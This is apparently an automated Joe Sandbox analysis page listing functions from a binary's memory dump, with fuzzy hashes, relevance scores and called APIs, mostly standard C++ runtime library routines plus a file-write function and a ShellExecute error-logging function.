Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d0883ba410d08fdd8a47573d11a26782b9cd9e748b109fd7b88bb52a84f4f53d
Instruction ID: 5b60c134e48aa666d064ccd2316f3e4625f1690cb1f6a659a31ef2937f0a6bf8
Opcode Fuzzy Hash: d0883ba410d08fdd8a47573d11a26782b9cd9e748b109fd7b88bb52a84f4f53d
Instruction Fuzzy Hash: 8221DE32A04A06AF9B70AF64DCA1D6B77A8BF443707144525FD1697251EB31ED00B7A0

Uniqueness

Uniqueness Score: -1.00%

Function 00F36FB0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 77COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00000002,80004005,S-1-5-18,00000008), ref: 00F36FB7

Strings

Call to ShellExecute() for verb<, xrefs: 00F36FC1
> returned:, xrefs: 00F36FC6
Last error=, xrefs: 00F37011

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: ErrorLast
String ID: > returned:$Call to ShellExecute() for verb<$Last error=
API String ID: 1452528299-1781106413
Opcode ID: e4582b050b0be5e301728f9d8afe9e3999da51116443416b728b68f435d97325
Instruction ID: f8b8eea32ebf6cef2e6be5ee4157b2699c9c25ba081d3b1394509c518eb086a0
Opcode Fuzzy Hash: e4582b050b0be5e301728f9d8afe9e3999da51116443416b728b68f435d97325
Instruction Fuzzy Hash: 11218089E1032183CB342F38940137AB6E1EF54B64F64446FE8C8D7381FBA98C82A391

Uniqueness

Uniqueness Score: -1.00%

Function 00F3CCE0 Relevance: 6.1, APIs: 4, Instructions: 65fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000004,00000080,00000000,72A902E8), ref: 00F3CD1C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002,?,40000000,00000001,00000000,00000004,00000080,00000000), ref: 00F3CD3C
WriteFile.KERNEL32(00000000,?,?,?,00000000,?,40000000,00000001,00000000,00000004,00000080,00000000), ref: 00F3CD6D
CloseHandle.KERNEL32(00000000,?,?,?,00000000,?,40000000,00000001,00000000,00000004,00000080,00000000), ref: 00F3CD86

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: File$CloseCreateHandlePointerWrite
String ID:
API String ID: 3604237281-0
Opcode ID: 1de43d87c10c7c047214c3987c5ac1e079799c57da2b548337e44d4427c0871d
Instruction ID: ca00524f1b4480b7dca37352666c4e1355cbd74009fd05837f146745bb7a51dd
Opcode Fuzzy Hash: 1de43d87c10c7c047214c3987c5ac1e079799c57da2b548337e44d4427c0871d
Instruction Fuzzy Hash: 6B21B170A45319EBD7209F54DC09FAEBBB8FB05B24F104229F514B72C0D7B06A0497E5

Uniqueness

Uniqueness Score: -1.00%

Function 00F3D7E7 Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00F3D7EE
std::_Lockit::_Lockit.LIBCPMT ref: 00F3D7F8

Part of subcall function 00F38C20: std::_Lockit::_Lockit.LIBCPMT ref: 00F38C50
Part of subcall function 00F38C20: std::_Lockit::~_Lockit.LIBCPMT ref: 00F38C78

std::_Facet_Register.LIBCPMT ref: 00F3D849
std::_Lockit::~_Lockit.LIBCPMT ref: 00F3D869

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: 879590e698ff652cfcdb3d1ded0f80c047a36b27e7b3abef8d7233cd5944c0a3
Instruction ID: 6ae7f02dd7f50d3918596b03e10b1187ac622cc423c27ee80cd310f24b00a388
Opcode Fuzzy Hash: 879590e698ff652cfcdb3d1ded0f80c047a36b27e7b3abef8d7233cd5944c0a3
Instruction Fuzzy Hash: 9E01D631D00619DFCB15FB64EC426BE7BA1AF40770F240449F9006B2D1CF78AE01A791

Uniqueness

Uniqueness Score: -1.00%

Function 00F427A2 Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00F427A9
std::_Lockit::_Lockit.LIBCPMT ref: 00F427B3

Part of subcall function 00F38C20: std::_Lockit::_Lockit.LIBCPMT ref: 00F38C50
Part of subcall function 00F38C20: std::_Lockit::~_Lockit.LIBCPMT ref: 00F38C78

std::_Facet_Register.LIBCPMT ref: 00F42804
std::_Lockit::~_Lockit.LIBCPMT ref: 00F42824

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: fc3c9ceedacc7679168e700b1e22e505c8643a1d0c747089e59a08e1e299701b
Instruction ID: a1f5129ee5b432a0563599b4d7998b4819e2ef715f2e01ffb841606d9e54bf11
Opcode Fuzzy Hash: fc3c9ceedacc7679168e700b1e22e505c8643a1d0c747089e59a08e1e299701b
Instruction Fuzzy Hash: E801C431900219DBCB05EBA49C416BE7B61BF84720F240459FE046B3D2CF789E05EB91

Uniqueness

Uniqueness Score: -1.00%

Function 00F3D752 Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00F3D759
std::_Lockit::_Lockit.LIBCPMT ref: 00F3D763

Part of subcall function 00F38C20: std::_Lockit::_Lockit.LIBCPMT ref: 00F38C50
Part of subcall function 00F38C20: std::_Lockit::~_Lockit.LIBCPMT ref: 00F38C78

std::_Facet_Register.LIBCPMT ref: 00F3D7B4
std::_Lockit::~_Lockit.LIBCPMT ref: 00F3D7D4

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: 59f6ec065bf249f60d107bb4d9bb31ac94f9b45102061ceadd9114071bc3ba6a
Instruction ID: e6aa658845bbb121e229d19137c576396916c7bc0d12980cc0a0854e6be4f21b
Opcode Fuzzy Hash: 59f6ec065bf249f60d107bb4d9bb31ac94f9b45102061ceadd9114071bc3ba6a
Instruction Fuzzy Hash: 6401C036900219DBCB05EB649C466BE7BA1AF80730F240509F9146B3D2CF789E05EBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00F4270D Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00F42714
std::_Lockit::_Lockit.LIBCPMT ref: 00F4271E

Part of subcall function 00F38C20: std::_Lockit::_Lockit.LIBCPMT ref: 00F38C50
Part of subcall function 00F38C20: std::_Lockit::~_Lockit.LIBCPMT ref: 00F38C78

std::_Facet_Register.LIBCPMT ref: 00F4276F
std::_Lockit::~_Lockit.LIBCPMT ref: 00F4278F

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: dbc647b414d1a3e625cbfabbc67abc02a1addc652d6392f0dea905dd5bd500b0
Instruction ID: 1ef5668268b14c94ae8f5f5172690fb283ece0ac83b9013291046bc8f71b2acd
Opcode Fuzzy Hash: dbc647b414d1a3e625cbfabbc67abc02a1addc652d6392f0dea905dd5bd500b0
Instruction Fuzzy Hash: 9901C03590021ADBCB05FB648C45ABE7FB1BF84760F240559F9146B2D2CF789E05AB91

Uniqueness

Uniqueness Score: -1.00%

Function 00F428CC Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00F428D3
std::_Lockit::_Lockit.LIBCPMT ref: 00F428DD

Part of subcall function 00F38C20: std::_Lockit::_Lockit.LIBCPMT ref: 00F38C50
Part of subcall function 00F38C20: std::_Lockit::~_Lockit.LIBCPMT ref: 00F38C78

std::_Facet_Register.LIBCPMT ref: 00F4292E
std::_Lockit::~_Lockit.LIBCPMT ref: 00F4294E

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: bfe93805af8b9b1601ce4dcb64efd033c2150b06ca44362521f467468a76a4fc
Instruction ID: 8b465e6ed646679e45021f85be36f7fd5f748ce909e6dc61849e7100831128a9
Opcode Fuzzy Hash: bfe93805af8b9b1601ce4dcb64efd033c2150b06ca44362521f467468a76a4fc
Instruction Fuzzy Hash: DF01C031900619DBCB05EB648C516BE7BB1AF84730F240419F914AB2D2CFB89E05FB91

Uniqueness

Uniqueness Score: -1.00%

Function 00F42837 Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00F4283E
std::_Lockit::_Lockit.LIBCPMT ref: 00F42848

Part of subcall function 00F38C20: std::_Lockit::_Lockit.LIBCPMT ref: 00F38C50
Part of subcall function 00F38C20: std::_Lockit::~_Lockit.LIBCPMT ref: 00F38C78

std::_Facet_Register.LIBCPMT ref: 00F42899
std::_Lockit::~_Lockit.LIBCPMT ref: 00F428B9

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: e20f554653cd1a90f54a0856624c2a71c1ee2477162cc89cd5a99a806fbc5629
Instruction ID: 2ef76981eb427b07a01295e26658abca04a02e4e47d8419327f8f8b35b983e05
Opcode Fuzzy Hash: e20f554653cd1a90f54a0856624c2a71c1ee2477162cc89cd5a99a806fbc5629
Instruction Fuzzy Hash: E201D631D00519DBCB05EB64CC41ABE7B71BF80760F240519F9146B2D2CF789E05AB91

Uniqueness

Uniqueness Score: -1.00%

Function 00F4E96D Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00F4E974
std::_Lockit::_Lockit.LIBCPMT ref: 00F4E97E

Part of subcall function 00F38C20: std::_Lockit::_Lockit.LIBCPMT ref: 00F38C50
Part of subcall function 00F38C20: std::_Lockit::~_Lockit.LIBCPMT ref: 00F38C78

std::_Facet_Register.LIBCPMT ref: 00F4E9CF
std::_Lockit::~_Lockit.LIBCPMT ref: 00F4E9EF

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: 83ece8bae81e0cef8b55fe3888d31d95fef50ea688a5f5b24b0de6c1cf0e1020
Instruction ID: d346ff952cc74fbd5fad278a98893f5e87971d98b822b2827a8c6ce8d7ea0d88
Opcode Fuzzy Hash: 83ece8bae81e0cef8b55fe3888d31d95fef50ea688a5f5b24b0de6c1cf0e1020
Instruction Fuzzy Hash: 4901D231900229DBCB05EB68CC416BE7BA0BF80720F250549FA106B3D2DF789E01FB91

Uniqueness

Uniqueness Score: -1.00%

Function 00F4EA02 Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00F4EA09
std::_Lockit::_Lockit.LIBCPMT ref: 00F4EA13

Part of subcall function 00F38C20: std::_Lockit::_Lockit.LIBCPMT ref: 00F38C50
Part of subcall function 00F38C20: std::_Lockit::~_Lockit.LIBCPMT ref: 00F38C78

std::_Facet_Register.LIBCPMT ref: 00F4EA64
std::_Lockit::~_Lockit.LIBCPMT ref: 00F4EA84

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: 8843c578382c838e7cbb7c853419a181c91cacda15f2f375748aebf37799f97c
Instruction ID: 28f1b08247a5bc8eb2730b30590a1217b8c568395f9a8e7cf4e887dd2bdec752
Opcode Fuzzy Hash: 8843c578382c838e7cbb7c853419a181c91cacda15f2f375748aebf37799f97c
Instruction Fuzzy Hash: 8801C031900219DBCB05EB648C456BE7B60BF84730F2A0909F900AB3D2CF7C9E05AB91

Uniqueness

Uniqueness Score: -1.00%

Function 00F4EBC1 Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00F4EBC8
std::_Lockit::_Lockit.LIBCPMT ref: 00F4EBD2

Part of subcall function 00F38C20: std::_Lockit::_Lockit.LIBCPMT ref: 00F38C50
Part of subcall function 00F38C20: std::_Lockit::~_Lockit.LIBCPMT ref: 00F38C78

std::_Facet_Register.LIBCPMT ref: 00F4EC23
std::_Lockit::~_Lockit.LIBCPMT ref: 00F4EC43

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: 71a9099b1ed0ab9cf121c3b50d30984dbf00ce10a1362144ffdbc7167b45d622
Instruction ID: ef79ea34dee95957e4b35d77ce56ad2102214fc497a9e6662f94e52ae458c276
Opcode Fuzzy Hash: 71a9099b1ed0ab9cf121c3b50d30984dbf00ce10a1362144ffdbc7167b45d622
Instruction Fuzzy Hash: B001C431900119DBCB15EB648C466BE7B70BF80760F240449FA146B2D2CF789E05E791

Uniqueness

Uniqueness Score: -1.00%

Function 00F42BB5 Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00F42BBC
std::_Lockit::_Lockit.LIBCPMT ref: 00F42BC6

Part of subcall function 00F38C20: std::_Lockit::_Lockit.LIBCPMT ref: 00F38C50
Part of subcall function 00F38C20: std::_Lockit::~_Lockit.LIBCPMT ref: 00F38C78

std::_Facet_Register.LIBCPMT ref: 00F42C17
std::_Lockit::~_Lockit.LIBCPMT ref: 00F42C37

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: 0c33af507821651affa5e8f3efdbe6550cd2add6cbc1d0ab62f6caf45c1b6ac9
Instruction ID: d8490209b1eec59f888a2a37465c2e5511af13464640d3a5ec6d586248030a21
Opcode Fuzzy Hash: 0c33af507821651affa5e8f3efdbe6550cd2add6cbc1d0ab62f6caf45c1b6ac9
Instruction Fuzzy Hash: 3501C431900619DBCB15FBA49C416BE7B70AF80730F254419FA106B2D2DF789E05EB91

Uniqueness

Uniqueness Score: -1.00%

Function 00F42CDF Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00F42CE6
std::_Lockit::_Lockit.LIBCPMT ref: 00F42CF0

Part of subcall function 00F38C20: std::_Lockit::_Lockit.LIBCPMT ref: 00F38C50
Part of subcall function 00F38C20: std::_Lockit::~_Lockit.LIBCPMT ref: 00F38C78

std::_Facet_Register.LIBCPMT ref: 00F42D41
std::_Lockit::~_Lockit.LIBCPMT ref: 00F42D61

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: d4a58143b9fc464dfc5050721143665165d3805cdb41ce2b0e7252ba981e8265
Instruction ID: 0530460ec83afea53cf67d2400ab243ccd203f0cb20771b4071cf2379c38bcd3
Opcode Fuzzy Hash: d4a58143b9fc464dfc5050721143665165d3805cdb41ce2b0e7252ba981e8265
Instruction Fuzzy Hash: 4101AD31D00219DBCB15EB649C41AAE7B71BF84720F240559F9046B2D2CFB89E05EB91

Uniqueness

Uniqueness Score: -1.00%

Function 00F4EC56 Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00F4EC5D
std::_Lockit::_Lockit.LIBCPMT ref: 00F4EC67

Part of subcall function 00F38C20: std::_Lockit::_Lockit.LIBCPMT ref: 00F38C50
Part of subcall function 00F38C20: std::_Lockit::~_Lockit.LIBCPMT ref: 00F38C78

std::_Facet_Register.LIBCPMT ref: 00F4ECB8
std::_Lockit::~_Lockit.LIBCPMT ref: 00F4ECD8

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: 789ae0a4edc045f20913f2097e4d18429385a1c917605424d874cd0f4d06687d
Instruction ID: af0b257b97dee98e9525ceafa08473e3e5088e3e08a5ce97722b63d61d6fb2db
Opcode Fuzzy Hash: 789ae0a4edc045f20913f2097e4d18429385a1c917605424d874cd0f4d06687d
Instruction Fuzzy Hash: 9801AD31D00219DBCB05AB649C81AAE7B71BF80770F250409FA056B2D2CF789A05EB91

Uniqueness

Uniqueness Score: -1.00%

Function 00F42C4A Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00F42C51
std::_Lockit::_Lockit.LIBCPMT ref: 00F42C5B

Part of subcall function 00F38C20: std::_Lockit::_Lockit.LIBCPMT ref: 00F38C50
Part of subcall function 00F38C20: std::_Lockit::~_Lockit.LIBCPMT ref: 00F38C78

std::_Facet_Register.LIBCPMT ref: 00F42CAC
std::_Lockit::~_Lockit.LIBCPMT ref: 00F42CCC

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: 1067678da9da8b224384e56479c4edb1ad803cfbbba5ebc044502e784d1f4d2f
Instruction ID: 18066facfc310acf9f892b381b8357230f48d7354ae179bb3c25c57d427d0f86
Opcode Fuzzy Hash: 1067678da9da8b224384e56479c4edb1ad803cfbbba5ebc044502e784d1f4d2f
Instruction Fuzzy Hash: DA01C035901219DBCB15EBA89C816BE7BA0AF80730F250419FA106B3D2CF789E01BB91

Uniqueness

Uniqueness Score: -1.00%

Function 00F42E9E Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00F42EA5
std::_Lockit::_Lockit.LIBCPMT ref: 00F42EAF

Part of subcall function 00F38C20: std::_Lockit::_Lockit.LIBCPMT ref: 00F38C50
Part of subcall function 00F38C20: std::_Lockit::~_Lockit.LIBCPMT ref: 00F38C78

std::_Facet_Register.LIBCPMT ref: 00F42F00
std::_Lockit::~_Lockit.LIBCPMT ref: 00F42F20

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: 593ef2adb51cacdf4f9a065b53df5ffaceb238e0abfb2c69f02224e7bcbb619a
Instruction ID: af66b203ffaf989b298bd33322cc3cd7dcddd86842dfad7460ed29276f719b0f
Opcode Fuzzy Hash: 593ef2adb51cacdf4f9a065b53df5ffaceb238e0abfb2c69f02224e7bcbb619a
Instruction Fuzzy Hash: 5A01D231900219DBCB05EB64DC41ABE7B70BF80720F640459F914AB2D2CF789E05FB91

Uniqueness

Uniqueness Score: -1.00%

Function 00F42E09 Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00F42E10
std::_Lockit::_Lockit.LIBCPMT ref: 00F42E1A

